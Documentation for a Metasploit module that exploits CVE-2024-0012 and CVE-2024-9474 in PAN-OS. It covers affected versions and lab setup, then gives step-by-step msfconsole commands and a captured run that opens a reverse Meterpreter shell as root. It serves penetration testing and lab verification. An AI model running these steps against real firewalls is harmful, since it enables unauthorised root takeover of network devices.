## Vulnerable Application
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
execute arbitrary code with root privileges.

The following versions are affected:
  * PAN-OS 11.2 (up to and including 11.2.4-h1)
  * PAN-OS 11.1 (up to and including 11.1.5-h1)
  * PAN-OS 11.0 (up to and including 11.0.6-h1)
  * PAN-OS 10.2 (up to and including 10.2.12-h2)

## Testing
Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example
`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter
will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup
by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully
run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed
to change this upon logging in for the first time.

The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the
payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`,
and `cmd/unix/reverse_bash`.

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/http/panos_management_unauth_rce`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
5. `set LHOST eth0`
5. `set LPORT 4444`
6. `check`
7. `exploit`

## Options

### WRITABLE_DIR
The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the
payload as a series of chunks to this location, before executing the payload. The written artifacts are then deleted.

## Scenarios

### Default

```
msf exploit(linux/http/panos_management_unauth_rce) > show options

Module options (exploit/linux/http/panos_management_unauth_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.86.100   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         443              yes       The target port (TCP)
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host
   WRITABLE_DIR  /var/tmp         yes       The full path of a writable directory on the target.


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      pHLZiKRnmfR      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  /var/tmp         yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Default



View the full module info with the info, or info -d command.

msf exploit(linux/http/panos_management_unauth_rce) > check
[+] 192.168.86.100:443 - The target is vulnerable.
msf exploit(linux/http/panos_management_unauth_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading payload chunk 1 of 7...
[*] Uploading payload chunk 2 of 7...
[*] Uploading payload chunk 3 of 7...
[*] Uploading payload chunk 4 of 7...
[*] Uploading payload chunk 5 of 7...
[*] Uploading payload chunk 6 of 7...
[*] Uploading payload chunk 7 of 7...
[*] Amalgamating payload chunks...
[*] Executing payload...
[*] Sending stage (3045380 bytes) to 192.168.86.100
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.100
OS           : Red Hat  (Linux 4.18.0-240.1.1.28.pan.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
